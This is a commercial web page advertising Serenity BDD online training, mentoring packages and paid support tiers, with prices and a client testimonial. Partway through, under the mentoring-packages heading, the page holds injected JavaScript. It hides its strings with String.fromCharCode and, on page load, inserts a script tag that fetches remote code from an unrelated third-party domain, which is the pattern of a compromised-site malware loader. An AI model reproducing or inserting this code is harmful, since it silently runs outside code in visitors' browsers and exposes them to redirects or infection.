Serenity BDD Online Training

A premium online training program covering advanced test automation with Serenity BDD as well as more general training about BDD requirements discovery practices, the Serenity Dojo online training programme is not your typical online course. It combines training videos, tutorials, exercises, and a great online community where you can interact with other students and Serenity experts.

Serenity BDD Mentoring, Support and Assistance

More and more teams are using Serenity BDD to fast-track their test automation efforts and to get the benefits of a reliable, high quality, and highly maintainable automated test suite sooner.

But teams adopting modern automated testing practices often face challenges to bring team members up to speed. We often get questions like:

  • How do we get our traditional (possibly manual) testers up to speed with modern test automation practices and Serenity BDD?
  • How do we adapt the tests to work in our environment and with our infrastructure?
  • How can we make our tests more robust and easier to maintain?

The Serenity BDD mentoring packages provide a cost-effective answer to these problems, and covers both Serenity BDD and Serenity/JS. Training is delivered by core contributors, including the authors of both libraries.

The Serenity BDD Mentoring Packages

“John’s mentoring was invaluable in getting our tests working. With John’s help, our tester is writing Serenity tests twice as fast, and the quality is significantly higher!”

- Ben, Ingogo

Lightweight Mentoring packages

Each package can be tailored to the needs of your team, or modelled on one of our most popular packages, shown here:

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Lightweight Mentoring

Our light-weight mentoring packages are great if you think that a few hours of remote assistance could help you get more out of your test automation practices. Lightweight mentoring is also an excellent complement to our Serenity Dojo online training packages, allowing you to drill deeper into specific areas of interest.

Our lightweight mentoring packages include:

  • One-on-one remote mentoring sessions, from 15 minutes to 1 hour each
  • Priority support via Slack, Rocket-Chat and Email for Serenity-related questions in between mentoring sessions
  • A monthly webinar covering Serenity best practices, news and updates

Team Mentoring packages

Each package can be tailored to the needs of your team, or modelled on one of our most popular packages, shown here:


Free Trial




$2,499 USD

3 hours of remote mentoring sessions

Monthly webinar

Access to premium training videos and resources for the whole team (up to 12 people)

High priority email support


$3,999 USD

6 hours remote mentoring sessions

Monthly webinar

Access to premium training videos and resources for the whole team (up to 12 people)

High priority email support


$5,999 USD

12 hours of remote mentoring sessions

Monthly webinar

Access to premium training videos and resources for the whole team (up to 12 people)

High priority email support

Team Mentoring

Our team mentoring packages are great when you have a larger team with several testers who could benefit from Serenity support, and you want to combine mentoring with access to online training resources.

Our team mentoring packages ensure that you get the most out of your Serenity BDD test automation suite, whether you are already a test automation veteran or you are entirely new to test automation in Java.

Each mentoring package includes:

  • Support for teams of up to 12 students
  • Regular remote pairing/mentoring sessions working on your production tests with up to 2 people working together on the same session
  • A monthly webinar covering Serenity best practices, news and updates
  • Exclusive access to premium training videos and resources
  • High priority email support for questions between mentoring sessions

Above all, this program gives you a privileged access to the most authoritative source of information about Serenity BDD - the framework authors themselves, John Ferguson Smart and Jan Molak.

Each mentoring package lasts 3 months and can mentor a group of up to 12 people.

After 3 to 6 months of mentoring, even developers and testers with little experience in Serenity have shown improvements in productivity of 100% or more.

Each team is different, and mentoring sessions are scheduled on a rythme that suits your team. Mentoring packages can be consumed as quickly or as slowly as you need.

Essential Serenity BDD Support and Assistance

When you need guaranteed access to bug fixes and prompt, expert help, you need our professional support.

We have support packages that can suit your needs no matter what size your team or organisation. This ranges from per-incident support, great if you have an urgent bug fix that needs attention right now, to larger scale Enterprise support designed to meet the needs of larger teams and organisations.

Some of our most popular models are listed below:

Per-Incident Support

If you need us to take a look at a defect quickly, a good place to start is our Per-Incident support. This includes analysing your issue to determine if it is a utilisation error or an actual bug. In the case of bugs, while we cannot guarantee that bug fixes will be covered bu the incident fee, we will do our best to provide a workaround. Many minor bugs are fixed in the scope of Per-Incident support.

The cost of per-incident support is $350 per incident.

Time-based Support

Time-based support is a good option for more complex bug fixes or feature requests. Time-based support covers analysing and resolving bugs or feature requests. Analysing a problem typically takes an hour. Small issues can be typically fixed within an additional 1-2 hours. We will provide a rough estimate of the effort required when you submit your issue.

The cost of time-based support is $40 per 15 minute slice.

Yearly Support

We also offer cost-effective yearly support models for organisations or all sizes:



Response time

Support Channel

Emergency Bugfixes

Requests per month



per year

3 business days






per year

2 business days






per year

3 business days

Email and Chat



Anyone within the organisation can submit a support requests. Excess requests are charged at $300 per request. We aim to respond to emergency bug fixes within one working week.

Enterprise Team Support

Larger teams generally need a more scaleable support model with more budgeting visibility.

Our Enterprise clients typically opt for a combination of one-on-one mentoring and ticketed support for prioritised bug fixes or feature requests. One-on-one mentoring sessions involve working remotely together on your code base, to resolve issues or review test code quickly and efficiently. We find this is one of the most effective ways to build and maintain a high quality test automation code base.

Our Enterprise support packages are designed to support large teams with diverse needs. Monthly and yearly pricing options give you the flexibility and the visibility you need in a corporate environment. Each month, we will let you know your actual consumption. If we find that your usage is significantly lower or higher than your current package, we will review your needs together to determine the most appropriate package.

All our packages include:

  • Allocated time for one-on-one mentoring and support, which can be drawn on as needed.
  • Allocated time for high-priority questions, bug fixes, and feature requests with an agreed SLA.
  • Tailored webinars on topics of particular interest to the organisation's teams.

Allocated time not consumed in a month is automatically rolled over to the following month.

Our Enterprise Team Support packages are tailored to the size and needs of your team. Please contact us to learn more.

© 2019 John Ferguson Smart

Talk to us about how you can improve your test automation today!
No Thanks
Thanks for reaching out. We will be in touch shortly!
We respect your privacy. Your information is safe and will never be shared.
Don't miss out. Subscribe today.